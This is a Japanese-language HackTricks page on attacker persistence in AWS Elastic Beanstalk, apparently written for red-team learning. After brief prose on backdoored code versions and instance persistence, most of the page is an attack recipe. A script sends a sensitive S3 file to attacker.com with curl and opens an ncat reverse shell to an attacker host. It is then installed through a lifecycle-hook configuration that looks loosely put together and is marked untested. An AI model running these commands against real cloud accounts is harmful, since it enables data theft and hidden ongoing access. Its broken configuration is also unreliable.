AWS - Elastic Beanstalk Persistence

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Elastic Beanstalk

詳細については、以下をチェックしてください:

pageAWS - Elastic Beanstalk Enum

インスタンス内の永続性

AWSアカウント内で永続性を維持するために、いくつかの永続性メカニズムがインスタンス内に導入される可能性があります(cronジョブ、sshキー...)これにより、攻撃者はそれにアクセスしてIAMロールの資格情報をメタデータサービスから盗むことができます

バージョン内のバックドア

攻撃者は、S3リポジトリ内のコードにバックドアを仕込むことができ、常にそのバックドアと期待されるコードを実行させることができます。

新しいバックドア付きバージョン

実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいバックドア付きバージョンを展開することができます。

カスタムリソースライフサイクルフックの乱用

TODO: テスト

Elastic Beanstalkは、インスタンスのプロビジョニングおよび終了中にカスタムスクリプトを実行できるライフサイクルフックを提供しています。攻撃者は、ライフサイクルフックを構成して、定期的にデータを外部流出させたり、AWSアカウントへのアクセスを維持するスクリプトを実行することができます。

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新